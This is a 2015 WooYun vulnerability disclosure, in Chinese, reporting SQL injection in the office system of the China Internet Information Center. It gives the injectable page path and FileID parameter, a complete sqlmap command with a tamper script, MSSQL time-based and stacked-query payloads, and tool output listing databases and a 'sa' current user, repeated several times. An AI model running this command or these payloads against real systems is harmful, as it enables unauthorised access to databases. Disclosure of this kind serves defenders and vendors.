中国互联网新闻中心办公系统存在SQL注入

发表于 2015年07月12日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0125775

漏洞标题：中国互联网新闻中心办公系统存在SQL注入

漏洞详情

披露状态：

2015-07-12: 细节已通知厂商并且等待厂商处理中
2015-07-14: 厂商已经确认，细节仅向厂商公开
2015-07-24: 细节向核心白帽子及相关领域专家公开
2015-08-03: 细节向普通白帽子公开
2015-08-13: 细节向实习白帽子公开
2015-08-28: 细节向公众公开

简要描述：

中国互联网新闻中心办公系统存在SQL注入

详细说明：

中国互联网新闻中心办公系统，该系统存在SQL注入漏洞。地址：http://**.**.**.**注入地址：http://**.**.**.**/C6/JHSoft.Web.customquery/UploadImageDownLoadIn.aspx?FileID=123python sqlmap.py -u "http://**.**.**.**/C6/JHSoft.Web.customquery/UploadImageDownLoadIn.aspx?FileID=123" --dbms "mssql" --tamper "space2comment.py" --dbs

Place: GET<br>
Parameter: FileID<br>
    Type: stacked queries<br>
    Title: Microsoft SQL Server/Sybase stacked queries<br>
    Payload: FileID=123'; WAITFOR DELAY '0:0:5';--Type: AND/OR time-based blind<br>
    Title: Microsoft SQL Server/Sybase time-based blind<br>
    Payload: FileID=123' WAITFOR DELAY '0:0:5'--<br>
---<br>
web server operating system: Windows<br>
web application technology: ASP.NET, ASP.NET 2.0.50727<br>
back-end DBMS: Microsoft SQL Server 2008<br>
available databases [7]:<br>
[*] [model)]<br>
[*] [ReportServer!]<br>
[*] C6<br>
[*] master<br>
[*] msdb<br>
[*] ReportServerTympDB<br>
[*] tempdb<br>current user: 'sa'

Place: GET

Parameter: FileID

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: FileID=123'; WAITFOR DELAY '0:0:5';--Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: FileID=123' WAITFOR DELAY '0:0:5'--

---

web server operating system: Windows

web application technology: ASP.NET, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2008

available databases [7]:

[*] [model)]

[*] [ReportServer!]

[*] C6

[*] master

[*] msdb

[*] ReportServerTympDB

[*] tempdb current user: 'sa'

好了，点到为止，里面数据量巨大，就没有在深入了

漏洞证明：

Place: GET<br>
Parameter: FileID<br>
    Type: stacked queries<br>
    Title: Microsoft SQL Server/Sybase stacked queries<br>
    Payload: FileID=123'; WAITFOR DELAY '0:0:5';--Type: AND/OR time-based blind<br>
    Title: Microsoft SQL Server/Sybase time-based blind<br>
    Payload: FileID=123' WAITFOR DELAY '0:0:5'--<br>
---<br>
web server operating system: Windows<br>
web application technology: ASP.NET, ASP.NET 2.0.50727<br>
back-end DBMS: Microsoft SQL Server 2008<br>
available databases [7]:<br>
[*] [model)]<br>
[*] [ReportServer!]<br>
[*] C6<br>
[*] master<br>
[*] msdb<br>
[*] ReportServerTympDB<br>
[*] tempdb<br>
current user:    'sa'